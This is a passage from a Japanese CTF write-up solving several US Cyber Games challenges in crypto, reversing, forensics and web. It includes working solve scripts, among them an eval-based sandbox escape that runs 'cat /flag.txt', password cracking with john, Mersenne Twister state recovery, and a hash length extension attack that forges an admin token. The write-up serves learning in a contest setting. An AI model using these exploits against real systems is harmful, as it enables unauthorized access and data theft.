 ・encryptedを返却

RSA暗号で、e, n, encryptedの値はわかっている。eが小さいので、Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
ciphertext = int(params[2].split(' ')[-1])

m, success = gmpy2.iroot(ciphertext, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
SVBGR{l0w_3xp0n3nt5_@r3_n0t_s@fe}

The Magic of Bytes (RE) (Beginner's Game Room)

一定の値でシフトしたバイナリをテキストに保存している。
ELFファイルの先頭4バイトは必ず以下のようになるはず。

7f 45 4c 46

テキストはすべてprintableな文字になっていて、先頭4文字は以下のようになっている。

@O=>

CyberChefのROT47でマイナス方向にシフトすると、-9で以下のようになった。

7F45

これはELFファイルの先頭2バイトのhex文字である。つまりbytes.txtの文字を-9シフトし、hexデコードすればバイナリに復元ことができる。

#!/usr/bin/env python3
with open('bytes.txt', 'r') as f:
    enc = f.read().splitlines()[1]

hex_data = ''
for c in enc:
    hex_data += chr(ord(c) - 9)

elf_data = bytes.fromhex(hex_data)

with open('chall.elf', 'wb') as f:
    f.write(elf_data)

復元したバイナリを実行する。

$ ./chall.elf
Alright, here's your ELF that you wanted so badly
Now use these bytes for the other python reverse engineering I mentioned
550D0D0A 00000000 41322968 48010000 E3000000 00000000 00000000 00000000 00030000 00400000 00738E00 00006400 64016C00 5A006402 64038400 5A016404 64058400 5A026406 64078400 5A036408 64098400 5A04640A 640B8400 5A05640C 640D8400 5A06640E 640F8400 5A076410 64118400 5A086412 64138400 5A09650A 65068300 65038300 17006502 83001700 65048300 17006501 83001700 65058300 17006508 83001700 65098300 17006507 83001700 83010100 64015300 2914E900 0000004E 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0335 5F49A900 72020000 00720200 00007202 000000FA 0677696E 2E7079DA 02733103 00000073 02000000 00017204 00000063 00000000 00000000 00000000 00000000 01000000 43000000 73040000 00640153 0029024E 5A033331 31720200 00007202 00000072 02000000 72020000 00720300 0000DA02 73320600 00007302 00000000 01720500 00006300 00000000 00000000 00000000 00000001 00000043 00000073 04000000 64015300 29024E7A 027B5772 02000000 72020000 00720200 00007202 00000072 03000000 DA027333 09000000 73020000 00000172 06000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A045F 54683172 02000000 72020000 00720200 00007202 00000072 03000000 DA027334 0C000000 73020000 00000172 07000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0435 5F416E72 02000000 72020000 00720200 00007202 00000072 03000000 DA027335 0F000000 73020000 00000172 08000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0553 56424752 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 36120000 00730200 00000001 72090000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E7A03 31317D72 02000000 72020000 00720200 00007202 00000072 03000000 DA027337 15000000 73020000 00000172 0A000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A055F 354C465F 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 38180000 00730200 00000001 720B0000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E5A03 43484172 02000000 72020000 00720200 00007202 00000072 03000000 DA027339 1B000000 73020000 00000172 0C000000 290B5A0A 70795F63 6F6D7069 6C657204 00000072 05000000 72060000 00720700 00007208 00000072 09000000 720A0000 00720B00 0000720C 000000DA 05707269 6E747202 00000072 02000000 72020000 00720300 0000DA08 3C6D6F64 756C653E 01000000 73140000 00080208 03080308 03080308 03080308 03080308 03

このコードをバイナリに復元するとpycファイルになると考えられる。

#!/usr/bin/env python3
enc = '550D0D0A 00000000 41322968 48010000 E3000000 00000000 00000000 00000000 00030000 00400000 00738E00 00006400 64016C00 5A006402 64038400 5A016404 64058400 5A026406 64078400 5A036408 64098400 5A04640A 640B8400 5A05640C 640D8400 5A06640E 640F8400 5A076410 64118400 5A086412 64138400 5A09650A 65068300 65038300 17006502 83001700 65048300 17006501 83001700 65058300 17006508 83001700 65098300 17006507 83001700 83010100 64015300 2914E900 0000004E 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0335 5F49A900 72020000 00720200 00007202 000000FA 0677696E 2E7079DA 02733103 00000073 02000000 00017204 00000063 00000000 00000000 00000000 00000000 01000000 43000000 73040000 00640153 0029024E 5A033331 31720200 00007202 00000072 02000000 72020000 00720300 0000DA02 73320600 00007302 00000000 01720500 00006300 00000000 00000000 00000000 00000001 00000043 00000073 04000000 64015300 29024E7A 027B5772 02000000 72020000 00720200 00007202 00000072 03000000 DA027333 09000000 73020000 00000172 06000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A045F 54683172 02000000 72020000 00720200 00007202 00000072 03000000 DA027334 0C000000 73020000 00000172 07000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0435 5F416E72 02000000 72020000 00720200 00007202 00000072 03000000 DA027335 0F000000 73020000 00000172 08000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0553 56424752 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 36120000 00730200 00000001 72090000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E7A03 31317D72 02000000 72020000 00720200 00007202 00000072 03000000 DA027337 15000000 73020000 00000172 0A000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A055F 354C465F 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 38180000 00730200 00000001 720B0000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E5A03 43484172 02000000 72020000 00720200 00007202 00000072 03000000 DA027339 1B000000 73020000 00000172 0C000000 290B5A0A 70795F63 6F6D7069 6C657204 00000072 05000000 72060000 00720700 00007208 00000072 09000000 720A0000 00720B00 0000720C 000000DA 05707269 6E747202 00000072 02000000 72020000 00720300 0000DA08 3C6D6F64 756C653E 01000000 73140000 00080208 03080308 03080308 03080308 03080308 03'
enc = enc.replace(' ', '')
pyc = bytes.fromhex(enc)

with open('chall.pyc', 'wb') as f:
    f.write(pyc)

復元したpycファイルをデコンパイルする。

$ ~/pycdc/pycdc chall.pyc                      
# Source Generated with Decompyle++
# File: chall.pyc (Python 3.8)

import py_compile

def s1():
    return '5_I'


def s2():
    return '311'


def s3():
    return '{W'


def s4():
    return '_Th1'


def s5():
    return '5_An'


def s6():
    return 'SVBGR'


def s7():
    return '11}'


def s8():
    return '_5LF_'


def s9():
    return 'CHA'

print(s6() + s3() + s2() + s4() + s1() + s5() + s8() + s9() + s7())

printの順番に文字列を結合する。

SVBGR{W311_Th15_I5_An_5LF_CHA11}

L33tcoder (Web)

数値配列をソートするコードテストをするサイトだが、目的は/flag.txtの内容を取得すること。
使用できる関数は"len", "range", "min", "max", "sum", "abs", "enumerate"だけ。
以下のように指定して、Run Testsを実行し、/flag.txtの内容を表示する。

def myfunc(nums):
	len = eval
	len("__import__('os').system('cat /flag.txt')")
	exit(0)
	return nums

この結果、以下のように表示された。

SVUSCG{e2887303bb9be6e8fe638d57ba9a7a0c}SVUSCG{e2887303bb9be6e8fe638d57ba9a7a0c}...(snip)...
Results:
Case	Correct	Time (sec)
1	True	0.001263
2	False	0.001255
        :
        :
SVUSCG{e2887303bb9be6e8fe638d57ba9a7a0c}

Historical Fiction (Forensics)

問題文は以下のようになっている。

One of the US Cyber Games administrators is an avid reader and one of the coaches suggested that she gets a book to learn more about cybersecurity. They can’t remember what the title of the book or that ISBN was but if you examine their Chrome History, you can find the flag which is the book’s ISBN number. It is important to note that they won’t buy a hard cover book or a kindle edition, just the paperback one.

該当する本のISBN番号を答える問題である。

Google\Chrome\User Data\Default\HistoryをDB Browserで確認する。urlsテーブルのurlを見ていくと、一つペーパーバックの本があった。

https://www.amazon.com/Hack-Back-Techniques-Hackers-Their/dp/1032818530/ref=tmm_pap_swatch_0

ISBN-10番号は1032818530、ISBN-13番号は978-1032818535である。
しかし以下の2つのフラグは通らなかった。

SVUSCG{1032818530}
SVUSCG{978-1032818535}

ISBN-13番号のハイフンを外したら、通った。

SVUSCG{9781032818535}

Logged (Forensics)

問題文は以下のようになっている。

One of the US Cyber Games administrators forgot their password to the FTP Server a lot of times. How many times did they forget it according to the IIS Windows log file?

FTPのログイン失敗は530というコードで残るので、その数をカウントする。

$ grep 530 -a ex250604.log | wc -l
306737
SVUSCG{306737}

USCG Admin was H@cked (Forensics)

悪意のあるスタートアップアプリケーションが実行されるように設定されているとのこと。
Registry Viewerでregistry\Users\uscgadmin\NTUSER.DATを開く。
\Software\Microsoft\Windows\CurrentVersion\Runを見てみると、Nameにフラグが設定されていた。

SVUSCG{uf0undme}

Future of SWE (Forensics)

FTK Imagerで開き、[root]直下にあるファイルを削除フラグがあるファイルをエクスポートする。

・passwords.xlsx
・ProjectNextBigThing.docx

ProjectNextBigThing.docxにはパスワードがかかっている。
passwords.xlsxのSheet2 A2にあるパスワード「clippyisawesome」で開け、フラグが書いてあった。

SVUSCG{th3_futur3_is_look1n_br1ght}

Deleted (Forensics)

FTK Imagerで開き、[root]直下を見ると、削除フラグの付いた2025-06-04_11-48-36.jpgがある。この画像にフラグが書いてあった。

SVUSCG{FILE_DELETE_2025}

Redactables (Forensics)

PDFにはパスワードがかかっているので、クラックする。

$ pdf2john redactable.pdf > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
friends4eva      (redactable.pdf)     
1g 0:00:00:03 DONE (2025-06-10 11:11) 0.2994g/s 2682p/s 2682c/s 2682C/s fucklife..147896
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

パスワード friends4eva でPDFを開く。黒いマスク部分をコピーして、ペイントに貼り付けると、フラグが渦巻いたものが書いてあった。

GIMPで開き、渦巻と吸い込みで調整すると、フラグを確認することができた。

SVUSCG{oops_i_did_it_again_i_didnt_redact}

Just Look At It (Forensics)

stegseekで秘密情報が隠されていないかを確認する。

$ stegseek lookatthis.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "ilovenickelback5"  

[i] Original filename: "flag.txt".
[i] Extracting to "lookatthis.jpg.out".

$ cat lookatthis.jpg.out                 
SVUSCG{l00k_4t_th1s_gr44444444444ph}
SVUSCG{l00k_4t_th1s_gr44444444444ph}

Prime Suspects (Crypto)

RSA暗号。nをfactordbで素因数分解する。

n = 305875545128432734240552595430305723491 * 333679396508538352589365351078683227609

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 102064367305175623005003367803963735992210717721719563218760598878897771063019
e = 65537
c = 66538583650087752653364112099322882026083260207958188191147900019851853145222
p = 305875545128432734240552595430305723491
q = 333679396508538352589365351078683227609

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
SVUSCG{sm4ll_pr1m3s}

BezoutBezoutBezout (Crypto)

Pythonのコードは以下だけ書かれている。

for i in range(len(gcds)):
    d = gcds[i]
    a,b = magic_select(d, nums)
    s,t = magic_bezout(a,b)
    assert(d + s + t == ord(flag[i]))

ベズーの等式に関することが推測できるので、以下の処理をしていると推測できる。

・gcds: gcds.txtに書かれている数値配列
・nums: nums.txtに書かれている数値配列
・d = gcds[i]
・a, b: numsの2つの組み合わせでGCDがdになるもの
・s, t: s * a + t * b = dを満たすs, t
・d + s + tがflag[i]のASCIIコードであることをチェック

a, bはnumsの総当たりで割り出すことができる。s, tは拡張ユークリッドの互除法を使えば解ける。
ただ、最小のs, tではflagにならない場合があるので、以下の計算で、printableな文字になるよう探していく。

・s = s0 + k * (b // d)
・t = t0 - k * (a // d)
#!/usr/bin/env python3
import itertools
from Crypto.Util.number import *

def extended_gcd(a, b):
    if b == 0:
        return (a, 1, 0)
    else:
        gcd, s1, t1 = extended_gcd(b, a % b)
        s = t1
        t = s1 - (a // b) * t1
        return (gcd, s, t)

with open('gcds.txt', 'r') as f:
    gcds = eval(f.read())

with open('nums.txt', 'r') as f:
    nums = eval(f.read())

flag = ''
for i in range(len(gcds)):
    d = gcds[i]
    for x in itertools.combinations(nums, 2):
        a = x[0]
        b = x[1]
        if GCD(a, b) == d:
            break

    gcd, s0, t0 = extended_gcd(a, b)
    assert gcd == d

    for k in range(-3, 4):
        s = s0 + k * (b // d)
        t = t0 - k * (a // d)
        code = d + s + t
        if code > 32 and code < 127:
            flag += chr(code)
            break

print(flag)
SVUSCG{m4king_4_fl4g_4_xgcd_a1n7_ez}

LLL backwards is still (Crypto)

Mはflagの各文字のASCIIコードを行方向に並べたもの。M.transpose()は行列を逆にしたもののため、列方向に並べたものになる。
_M = M.transpose()とし、C = _M.LLL()としたとき、ある行列Uに対して以下の式が成り立つ。

_M = U * B

Uを未知としてz3で解く。これによりBもわかりフラグを取得する。少し調整した結果、フラグを取得できた。

#!/usr/bin/env sage
from z3 import *

B = [
    [-12, -28,   2,  -2,   0,   9],
    [  2, -19,  -5,  -2, -47,  -2],
    [ 43, -17,  10,  19,  22,  -1],
    [ 24, -18,  -3, -42,  15, -19],
    [  3,  -7,   6,  18,   5, -65],
    [-24,   2,  74, -18, -21, -26]
]

U = [[Int(f'u_{i}_{j}') for j in range(6)] for i in range(6)]

M_T = [[Sum([U[i][k] * B[k][j] for k in range(6)]) for j in range(6)] for i in range(6)]

M = [[M_T[j][i] for j in range(6)] for i in range(6)]

s = Solver()
for i in range(6):
    for j in range(6):
        m = M[i][j]
        s.add(m > 32, m < 127)

known = "SVUSCG{"
for idx, ch in enumerate(known):
    row, col = divmod(idx, 6)
    s.add(M[row][col] == ord(ch))

s.add(M[5][5] == ord('}'))

## arange ##
s.add(M[1][1] == ord('t'))

r = s.check()
assert r == sat
m = s.model()

M_val = [[m.evaluate(M[i][j]).as_long() for j in range(6)] for i in range(6)]
flag = ''.join([chr(c) for row in M_val for c in row])
print(flag)
SVUSCG{th1s_flag_has_36_ch4ract3rs!}

Lost At Sea (Crypto)

サーバの処理概要は以下の通り。

・BOARD_SIZE = 2**32
・SHIP_SIZES = [5, 4, 3, 3, 2]
・MAX_TURNS = 312
・seed: ランダム64ビット整数
・rng = random.Random(seed)
・FLAG: /flag.txtの内容
・以下繰り返し
 ・start_game()
  ・以下繰り返し
   ・line: 入力
   ・ships = parse_ship_input(line.strip())
    ・ships: line.strip()をJSONデータとしてパース
    ・shipsがlist型でないか、shipsの長さが5以外の場合Noneを返却
    ・parsed = []
    ・shipsの各要素entryに対して以下を実行
     ・entryがlist型でないか、長さが3以外か、entry[0]やentry[1]がint型でないか、entry[2]が"H"でも"V"でもない場合
      ・Noneを返却
     ・parsedに(entry[0], entry[1], entry[2])を追加
    ・parsedを返却
   ・shipsがNoneの場合、入力し直し
   ・繰り返し終了
  ・player_board = set()
  ・shipsの各要素のインデックスidxと各要素(r, c, d)に対して以下を実行
   ・res = place_ship(player_board, r, c, SHIP_SIZES[idx], d)
    ・positions = []
    ・SHIP_SIZES[idx]未満のiに対して以下を実行
     ・dが"V"の場合、r = r + i
     ・dが"H"の場合、c = c + i
     ・「rが0以上BOARD_SIZE未満、cが0以上BOARD_SIZE未満」以外の場合、Falseを返却
     ・pos = (r, c)
     ・posがplayer_boardにある場合、Falseを返却
     ・positionsにposを追加
    ・positionsのposをboardに追加
    ・Trueを返却
   ・resがFalseの場合、入力し直し
  ・computer_board = place_computer_ships()
   ・board = set()
   ・SHIP_SIZESの各値sizeに対して以下を実行
    ・placed = False
    ・r: ランダム32ビット整数
    ・c: ランダム32ビット整数
    ・d: rng.random()が0.5未満の場合'H'、それ以外の場合'V'
    ・placed = place_ship(board, r, c, size, d)
   ・boardを返却
  ・player_shots = set()
  ・MAX_TURNSの回数だけ以下繰り返し
   ・line: 入力
   ・sr, sc: lineを","区切りの2つの数値
   ・player_shotsに(sr, sc)がある場合、入力し直し
   ・player_shotsに(sr, sc)を追加
   ・(sr, sc)がcomputer_boardにある場合は"HIT"と表示
   ・(sr, sc)がcomputer_boardにない場合は"MISS"と表示
   ・computer_boardのplayer_shotsの部分集合の場合、フラグを表示
   ・cr: ランダム32ビット整数
   ・cc: ランダム32ビット整数
   ・result: (cr, cc)がplayer_boardにある場合は"HIT"、ない場合は"MISS"
   ・cr, cc, resultを表示

Mersenne Twisterの問題。1回目のstart_game()は乱数情報収集で、624個の32ビット整数の情報を得る。あとはこの情報から乱数状態を復元し、2回目のstart_game()でコンピュータのshipの位置を確認できる。

#!/usr/bin/env python3
import socket
import random
import json

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

def place_ship(board, start_row, start_col, size, direction):
    positions = []
    for i in range(size):
        r = start_row + i if direction == 'V' else start_row
        c = start_col + i if direction == 'H' else start_col
        if not (0 <= r < BOARD_SIZE and 0 <= c < BOARD_SIZE):
            return False
        pos = (r, c)
        if pos in board:
            return False
        positions.append(pos)
    for pos in positions:
        board.add(pos)
    return True

BOARD_SIZE = 2**32
SHIP_SIZES = [5, 4, 3, 3, 2]
MAX_TURNS = 312

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.ctf.uscybergames.com', 53249))

for _ in range(11):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ships = [[0, i, 'V'] for i in range(5)]
ships = json.dumps(ships)
print(ships)
s.sendall(ships.encode() + b'\n')

N = 624
state = []
for turn in range(0, MAX_TURNS):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    pos = '0,' + str(turn)
    print(pos)
    s.sendall(pos.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    cr = int(data.split(' ')[3].split(',')[0])
    cc = int(data.split(' ')[3].split(',')[1])
    state.append(untemper(cr))
    state.append(untemper(cc))

state.append(N)
random.setstate([3, tuple(state), None])

data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data)
s.sendall(b'\n')

for _ in range(5):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ships = [[0, i, 'V'] for i in range(5)]
ships = json.dumps(ships)
print(ships)
s.sendall(ships.encode() + b'\n')

board = set()
for size in SHIP_SIZES:
    placed = False
    r = random.getrandbits(32)
    c = random.getrandbits(32)
    d = 'H' if random.random() < 0.5 else 'V'
    placed = place_ship(board, r, c, size, d)

pos_list = list(board)

for i in range(len(pos_list)):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    sr = pos_list[i][0]
    sc = pos_list[i][1]
    pos = ','.join([str(sr), str(sc)])
    print(pos)
    s.sendall(pos.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

random() -> x in the interval [0, 1).
== BATTLESHIP CTF ==
Board size: 4,294,967,296 x 4,294,967,296
Sink all computer ships in under 312 moves.
Good luck.

Starting new game.
Enter your ship placements as JSON list (e.g. [[100,200,"V"], [300,400,"H"], ...])
You must sink all computer ships in under 312 moves.

Ship placements:
[[0, 0, "V"], [0, 1, "V"], [0, 2, "V"], [0, 3, "V"], [0, 4, "V"]]
Turn 1 - Enter your shot as row,col (e.g. 12345,67890):
0,0
MISS
Computer fires at 2874753515,2322453092 - MISS
Turn 2 - Enter your shot as row,col (e.g. 12345,67890):
0,1
MISS
Computer fires at 2016175057,1629538197 - MISS
Turn 3 - Enter your shot as row,col (e.g. 12345,67890):
0,2
MISS
Computer fires at 2160765611,140375341 - MISS
        :
        :
Turn 310 - Enter your shot as row,col (e.g. 12345,67890):
0,309
MISS
Computer fires at 922979181,824260147 - MISS
Turn 311 - Enter your shot as row,col (e.g. 12345,67890):
0,310
MISS
Computer fires at 371793306,3443879519 - MISS
Turn 312 - Enter your shot as row,col (e.g. 12345,67890):
0,311
MISS
Computer fires at 2324057068,1144459211 - MISS
You ran out of moves. Game over.
Press enter to try again or type exit to quit
> 
Starting new game.
Enter your ship placements as JSON list (e.g. [[100,200,"V"], [300,400,"H"], ...])
You must sink all computer ships in under 312 moves.

Ship placements:
[[0, 0, "V"], [0, 1, "V"], [0, 2, "V"], [0, 3, "V"], [0, 4, "V"]]
Turn 1 - Enter your shot as row,col (e.g. 12345,67890):
2827689994,4220050530
HIT
Computer fires at 3606652714,232259916 - MISS
Turn 2 - Enter your shot as row,col (e.g. 12345,67890):
3322812886,1778268589
HIT
Computer fires at 1935668588,2956352096 - MISS
Turn 3 - Enter your shot as row,col (e.g. 12345,67890):
2552307894,1743031184
HIT
Computer fires at 1951871422,3643881551 - MISS
Turn 4 - Enter your shot as row,col (e.g. 12345,67890):
2827689995,4220050530
HIT
Computer fires at 3259927209,1270739394 - MISS
Turn 5 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826956
HIT
Computer fires at 657520169,10082328 - MISS
Turn 6 - Enter your shot as row,col (e.g. 12345,67890):
2552307895,1743031184
HIT
Computer fires at 1820767237,2940877840 - MISS
Turn 7 - Enter your shot as row,col (e.g. 12345,67890):
3322812886,1778268590
HIT
Computer fires at 3529083431,2775003527 - MISS
Turn 8 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826959
HIT
Computer fires at 802487213,3545172407 - MISS
Turn 9 - Enter your shot as row,col (e.g. 12345,67890):
3584311901,834189282
HIT
Computer fires at 3474993368,1225678627 - MISS
Turn 10 - Enter your shot as row,col (e.g. 12345,67890):
2552307897,1743031184
HIT
Computer fires at 2256289686,2269872617 - MISS
Turn 11 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826955
HIT
Computer fires at 829290023,2238233385 - MISS
Turn 12 - Enter your shot as row,col (e.g. 12345,67890):
3584311902,834189282
HIT
Computer fires at 2550524304,3826882935 - MISS
Turn 13 - Enter your shot as row,col (e.g. 12345,67890):
3584311903,834189282
HIT
Computer fires at 2818560414,227970047 - MISS
Turn 14 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826958
HIT
Computer fires at 214957877,3515563723 - MISS
Turn 15 - Enter your shot as row,col (e.g. 12345,67890):
1827161061,2133826957
HIT
Computer fires at 1346566607,3517454992 - MISS
Turn 16 - Enter your shot as row,col (e.g. 12345,67890):
2827689996,4220050530
HIT
Computer fires at 4118963238,2657334279 - MISS
Turn 17 - Enter your shot as row,col (e.g. 12345,67890):
2552307896,1743031184
HIT
You sank all the computer's ships! You win.
Flag: SVUSCG{00f_y0u_5unk_m4h_b4ttl3sh1p}
SVUSCG{00f_y0u_5unk_m4h_b4ttl3sh1p}

Token EncryptSHAn (Crypto)

サーバの処理概要は以下の通り。

■/registerへのPOST
・username = credentials.username
・sanitized_username = sanitize_username(username)
 ・英小文字のみにフィルタリング
・password = credentials.password
・user_dir = USERS_BASE_DIR / sanitized_username
・user_dirが存在する場合、エラー
・password_file_path = user_dir / "pass.txt"
・password_file_pathにpasswordを書き込み
・{"message": f"User '{sanitized_username.decode()}' registered successfully."}を返却

■/loginへのPOST
・username = credentials.username
・sanitized_username = sanitize_username(username)
 ・英小文字のみにフィルタリング
・password = credentials.password
・user_dir = USERS_BASE_DIR / sanitized_username
・password_file_path = user_dir / "pass.txt"
・stored_password: password_file_pathの内容
・stored_passwordとpasswordが一致しない場合、エラー
・nonce_bytes: ランダム8バイト文字列の16進数表記文字列
・ts_bytes: UNIXTIMEの整数値の文字列
・payload_part = b"nonce=" + nonce_bytes + b"&ts=" + ts_bytes + b"&user=" + sanitized_username
・token_data_part = b"len=" + str(len(payload_part)).encode('utf-8') + b"&" + payload_part
・calculated_hmac_hex_str = hmac(token_data_part).hex()
 ・key(未知固定値) + token_data_partのsha256ダイジェストの16進数表記
・token_string_with_hmac = token_data_part + calculated_hmac_hex_str.encode('utf-8')
・base64_encoded_token: token_string_with_hmacのbase64エンコード
・{"token": base64_encoded_token}を返却

■/notesへのPOST
・current_username = get_current_username()
 ・token = credentials.credentials
 ・decoded_token_bytes: tokenのbase64デコードしたもの
 ・decoded_token_str = decoded_token_bytes
 ・token_payload_str: decoded_token_strの末尾64バイトを除いた部分
 ・received_hmac_hex: decoded_token_strの末尾64バイト
 ・expected_hmac_bytes = hmac(token_payload_str)
 ・expected_hmac_hex: expected_hmac_bytesを16進数表記にしたもの
 ・received_hmac_hexとexpected_hmac_hexが一致しない場合、エラー
 ・token_data = parse_token_data(token_payload_str)
  ・token_payload_strを"&"区切りでkeyとvalueを取得し、その対応をdataオブジェクトに設定
  ・dataを返却
 ・raw_username_from_token = token_data.get(b"user")
 ・token_ts_str = token_data.get(b"ts")
 ・current_ts: 現在のUNIXTIMEの整数値
 ・current_ts - token_tsが300より大きい場合、エラー
 ・username: raw_username_from_tokenのサニタイズしたもの
 ・user_dir = USERS_BASE_DIR / username.decode()
 ・user_dirがディレクトリでない場合、エラー
 ・usernameを返却
・title = note_payload.title
・note_text = note_payload.text
・titleに英小文字以外が含まれている場合、エラー
・titleが"pass"の場合、エラー
・user_note_dir = USERS_BASE_DIR / current_username.decode()
・note_file_path = user_note_dir / (title.decode() + ".txt")
・note_file_pathにnote_textを書き込み
・NoteBase(title=title)を返却

■"/notes/{note_title}へのGET
・current_username = get_current_username()
・note_title_bytes = note_title.encode('utf-8')
・note_title_bytesに英小文字以外が含まれている場合、エラー
・note_title_bytesが"pass"の場合、エラー
・note_file_path = USERS_BASE_DIR / current_username.decode() / (note_title + ".txt")
・note_data = note_file_pathの内容
・NoteCreate(title=note_title_bytes, text=note_data)を返却

■/notesへのGET
・current_username = get_current_username()
・user_notes_dir = USERS_BASE_DIR / current_username.decode()
・notes_list = []
・user_notes_dir配下のオブジェクトitemに対して以下を実行
 ・itemがファイルで、ファイル名が".txt"で終わる場合
  ・note_title_strが"pass"以外の場合
   ・notes_listにNoteBase(title=note_title_str.encode('utf-8'))を追加
・notes_listを返却

問題文から"admin"のnoteを読めればフラグが取得できるようだ。
まず適当なユーザ、パスワードで登録する。例えば、hoge / fugaで登録するとする。この場合、USERS_BASE_DIR/hoge/pass.txtに"fuga"が書き込まれる。
次にこのユーザでログインすると、それぞれの変数は以下の値を持つ。

・payload_part = "nonce=<16桁の16進数文字列>&ts=<UNIXTIME整数値>&user=hoge"
・token_data_part = "len=46&nonce=<16桁の16進数文字列>&ts=<UNIXTIME整数値>&user=hoge"
・calculated_hmac_hex_str: key(未知固定値) + token_data_partのsha256ダイジェストの16進数表記
・token_string_with_hmac: token_data_part + calculated_hmac_hex_str

Hash Length Extension Attackで攻撃する。https://github.com/stephenbradshaw/hlextendを使う。

#!/usr/bin/env python3
import requests
import json
import base64
import hashlib
import hlextend

HMAC_HEX_LENGTH = hashlib.sha256().digest_size * 2

base_url ='https://kheevwzb.web.ctf.uscybergames.com'

s = requests.Session()

url = base_url + '/register'
payload = '{"username": "hoge", "password": "fuga"}'
res = s.post(url, data=payload)
print('[+] message:', res.text)

url = base_url + '/login'
res = s.post(url, data=payload)
print('[+] base64 token:', res.text)
base64_encoded_token = json.loads(res.text)['token']
token_string_with_hmac = base64.b64decode(base64_encoded_token).decode()
print('[+] token:', token_string_with_hmac)
token_data_part = token_string_with_hmac[:-HMAC_HEX_LENGTH]
calculated_hmac_hex_str = token_string_with_hmac[-HMAC_HEX_LENGTH:]

known_hash = calculated_hmac_hex_str
known_str = token_data_part
add_data = '&user=admin'

for key_len in range(1, 65):
    hash = hlextend.new('sha256')
    d = hash.extend(add_data.encode(), known_str.encode(), key_len, known_hash)
    h = hash.hexdigest()
    token = base64.b64encode(d + h.encode()).decode()

    url = base_url + '/notes'
    auth = 'Bearer ' + token
    headers = {'Authorization': auth}
    res = s.get(url, headers=headers)
    result = json.loads(res.text)
    print('[+] key length:', key_len, '-->', result)
    if 'detail' in result and \
        result['detail'] == 'Invalid token: HMAC verification failed.':
        continue
    else:
        break

for note in result:
    title = note['title']
    url = base_url + '/notes/' + title
    res = s.get(url, headers=headers)
    result = json.loads(res.text)
    flag = result['text']
    print('[*] flag:', flag)

実行結果は以下の通り。

[+] message: {"detail":"User 'hoge' already exists."}
[+] base64 token: {"token":"bGVuPTQ2Jm5vbmNlPTY5NjZkYzc2YTQxYWM2MGQmdHM9MTc0OTcxMDI2NSZ1c2VyPWhvZ2VlZWZhNWY0OGU4OGY5OTk4ZGU0ODY5YTUxZWRkODZhNjIzMTMzYzI3OGJlNjE5NGQ5YmQwOTRmZTgxYTYzOGJk"}
[+] token: len=46&nonce=6966dc76a41ac60d&ts=1749710265&user=hogeeefa5f48e88f9998de4869a51edd86a623133c278be6194d9bd094fe81a638bd
[+] key length: 1 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 2 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 3 --> {'detail': 'Invalid token: HMAC verification failed.'}
[+] key length: 4 --> {'detail': 'Invalid token: HMAC verification failed.'}
